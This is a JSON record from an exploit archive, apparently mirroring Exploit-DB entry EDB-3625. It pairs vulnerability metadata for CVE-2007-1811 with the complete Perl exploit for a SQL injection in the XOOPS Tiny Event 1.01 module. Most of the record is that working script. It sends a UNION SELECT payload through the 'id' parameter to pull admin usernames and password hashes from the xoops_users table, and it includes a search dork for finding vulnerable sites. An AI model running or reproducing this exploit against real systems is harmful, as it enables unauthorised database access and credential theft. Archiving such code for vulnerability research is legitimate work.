{"exploit":{"id":"EDB-3625","name":"XOOPS Module Tiny Event 1.01 - 'id' SQL Injection (SQLi)","description":"XOOPS Module Tiny Event 1.01 - 'id' SQL Injection (SQLi)","cves":["CVE-2007-1811"],"author":"ajann","published":"2007-04-01","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3625","path":"exploits/php/webapps/3625.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3625.pl","vulnerabilities":[{"id":"CVE-2007-1811","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in index.php in the Tiny Event (tinyevent) 1.01 and earlier module for Xoops allows remote attackers to execute arbitrary SQL commands via the id parameter in a show action.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1811","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1811"},"updatedAt":"2024-08-07T13:06:26.402Z","retrievedAt":"2026-11-27T08:09:30.314Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3625.png?v=2","url":"https://exploitbin.com/exploits/EDB-3625","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3625/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3625/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#[Script Name: XOOPS Module Tiny Event <= 1.01 (id) Remote BLIND SQL Injection Exploit\n#[Coded by   : ajann\n#[Author     : ajann\n#[Contact    : :(\n#[Dork       : inurl:/modules/tinyevent/\n#[S.Page     : http://www.chapi.de/\n#[$$         : ??\n#[..         : ajann,Turkey\n\n\nuse IO::Socket;\nif(@ARGV < 1){\nprint \"\n[========================================================================\n[//  XOOPS Module Tiny Event <= 1.01 (id) Remote BLIND SQL Injection Exploit\n[//                   Usage: exploit.pl [target]\n[//                   Example: exploit.pl victim.com\n[//                   Example: exploit.pl victim.com\n[//                           Vuln&Exp : ajann\n[========================================================================\n\";\nexit();\n}\n#Local variables\n$kapan = \"/*\";\n$server = $ARGV[0];\n$server =~ s/(http:\\/\\/)//eg;\n$host = \"http://\".$server;\n$port = \"80\";\n$file = \"/modules/tinyevent/index.php?op=show&id=\";\n\nprint \"Script <DIR> : \";\n$dir = <STDIN>;\nchop ($dir);\n\nif ($dir =~ /exit/){\nprint \"-- Exploit Failed[You Are Exited] \\n\";\nexit();\n}\n\nif ($dir =~ /\\//){}\nelse {\nprint \"-- Exploit Failed[No DIR] \\n\";\nexit();\n }\n\nprint \"User ID (uid): \";\n$id = <STDIN>;\nchop ($id);\n\n$target = \"999999%20union%20select%201,2,3,4,concat(char(117,115,101,114,110,97,109,101,45,45),uname,char(112,97,115,115,119,111,114,100,45,45),pass)%20from%20xoops_users%20where%20uid%20like%20\".$id.$kapan;\n$target = $host.$dir.$file.$target;\n\n#Writing data to socket\nprint \"+**********************************************************************+\\n\";\nprint \"+ Trying to connect: $server\\n\";\n$socket = IO::Socket::INET->new(Proto => \"tcp\", PeerAddr => \"$server\", PeerPort => \"$port\") || die \"\\n+ Connection failed...\\n\";\nprint $socket \"GET $target HTTP/1.1\\n\";\nprint $socket \"Host: $server\\n\";\nprint $socket \"Accept: */*\\n\";\nprint $socket \"Connection: close\\n\\n\";\nprint \"+ Connected!...\\n\";\n#Getting\nwhile($answer = <$socket>) {\nif ($answer =~ /username--(.*?)pass/){\nprint \"+ Exploit succeed! Getting admin information.\\n\";\nprint \"+ ---------------- +\\n\";\nprint \"+ Username: $1\\n\";\n}\n\nif ($answer =~ /password--(.*?)<\\/td>/){\nprint \"+ Password: $1\\n\";\n}\n\nif ($answer =~ /Syntax error/) {\nprint \"+ Exploit Failed : ( \\n\";\nprint \"+**********************************************************************+\\n\";\nexit();\n}\n\nif ($answer =~ /Internal Server Error/) {\nprint \"+ Exploit Failed : (  \\n\";\nprint \"+**********************************************************************+\\n\";\nexit();\n}\n }\n\n# milw0rm.com [2007-04-01]","sha256":"934eb7bbb2e5f308c92885a98b50370d9161a0daac2fa97b31d31dafc84f2777","bytes":2524,"fetchedAt":"2026-11-27T08:09:30.033Z","encoding":"utf-8 (display only; download retains original bytes)"}